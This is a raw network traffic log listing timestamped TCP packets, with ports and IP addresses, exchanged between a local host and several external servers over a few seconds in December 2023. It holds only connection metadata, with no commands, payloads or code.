Dec 19, 2023 03:22:41.247019053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247035027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247066021 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247070074 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247092962 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247103930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247400999 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247416019 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247448921 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247453928 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247478962 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247486115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247711897 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247725010 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247762918 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.247767925 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.247801065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.248110056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248126030 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248155117 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.248157978 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248182058 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.248198986 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.248524904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248538971 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248584032 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.248589039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.248624086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.249033928 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249047041 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249078035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.249083042 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249105930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.249120951 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.249583006 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249598026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249634981 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.249639988 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.249675035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250235081 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250248909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250278950 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250283957 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250308990 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250325918 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250729084 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250742912 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250771999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250775099 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.250799894 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.250808954 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.251231909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251245022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251282930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.251287937 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251319885 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.251780033 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251794100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251821995 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.251825094 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.251847982 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.251863003 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252116919 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252130032 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252171993 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252175093 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252204895 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252562046 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252574921 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252612114 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252616882 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252640009 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252657890 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252931118 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252945900 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.252971888 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.252975941 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253000975 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253012896 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253428936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253448963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253478050 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253480911 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253504038 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253518105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253894091 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253911972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253937006 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253940105 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.253963947 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.253982067 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.254412889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254429102 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254461050 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.254463911 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254489899 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.254507065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.254817009 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254831076 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254877090 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.254882097 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.254916906 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.255179882 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255193949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255223989 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.255228996 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255253077 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.255271912 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.255677938 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255691051 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255733013 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.255738020 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.255765915 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.256428003 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.256442070 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.256481886 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.256486893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.256508112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.256526947 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.256944895 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.256959915 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.256994963 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.256999016 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257035971 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257060051 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257354975 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257369041 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257409096 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257414103 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257443905 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257760048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257772923 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257803917 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257807016 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.257831097 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.257843018 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.258191109 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258203983 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258250952 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.258255959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258286953 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.258604050 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258615971 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258651018 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.258652925 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.258678913 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.258694887 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.259197950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259210110 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259244919 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.259248018 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259270906 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.259288073 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.259615898 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259629965 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259670019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.259675980 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.259705067 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260014057 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260026932 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260065079 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260070086 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260102987 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260432959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260451078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260482073 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260485888 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260509968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260524035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260869026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260884047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260911942 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260916948 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.260934114 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.260950089 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.261287928 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261302948 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261332035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.261336088 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261356115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.261373043 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.261801958 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261814117 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261854887 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.261858940 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.261893034 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.262260914 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262274027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262307882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.262311935 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262334108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.262345076 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.262689114 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262701988 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262739897 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.262743950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.262773037 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.263145924 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263158083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263194084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.263202906 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263232946 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.263508081 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263520956 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263556957 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.263561964 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263592958 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.263955116 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.263968945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264000893 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264005899 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264046907 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264059067 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264396906 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264410019 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264441967 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264445066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264472008 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264489889 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264925957 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264940977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.264972925 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.264977932 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.265001059 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.265017986 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.265567064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.265580893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.265610933 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.265615940 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.265639067 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.265655994 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.266026974 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.266040087 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.266072035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.266098022 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.352881908 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.352901936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.352936029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.353037119 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.353044987 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.353065968 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.353080988 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.353187084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.353193045 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.353250027 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:42.349682093 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:42.359869957 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:42.384290934 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:42.384290934 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:42.384310961 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:42.384322882 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:42.974529028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:42.974566936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:43.243407965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:43.252034903 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:43.262554884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:43.265211105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:43.265211105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:43.533840895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:43.552694082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:43.580837965 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:43.607820034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:43.643352985 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:43.644678116 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:43.685941935 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:43.716315985 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:43.749444008 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:43.841746092 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:43.841825008 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:43.842034101 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:43.967524052 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.082243919 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:44.123485088 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:44.130475998 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:44.295650959 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295665026 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295721054 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.295737982 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295751095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295764923 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295782089 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295797110 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295804024 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.295808077 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295834064 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.295857906 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.295865059 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295942068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.295988083 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.296550035 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.296562910 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.296611071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.397424936 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397455931 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397486925 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397500038 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.397501945 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397537947 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.397583961 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397761106 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397778034 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397813082 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.397820950 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397864103 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.397871971 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397883892 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.397929907 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.398950100 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.398972034 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399018049 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.399048090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399060011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399096966 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.399126053 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399527073 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399574995 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.399588108 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399600983 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399642944 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.399667978 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399702072 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.399756908 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.400437117 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.400476933 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.400511026 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.400517941 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.449940920 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.462568045 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:44.498740911 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.498754025 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.498764992 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.498807907 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.498855114 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.498866081 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.498912096 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.499110937 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.499135017 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.499159098 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.499177933 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.499222040 CET	49753	80	192.168.2.4	104.21.46.59
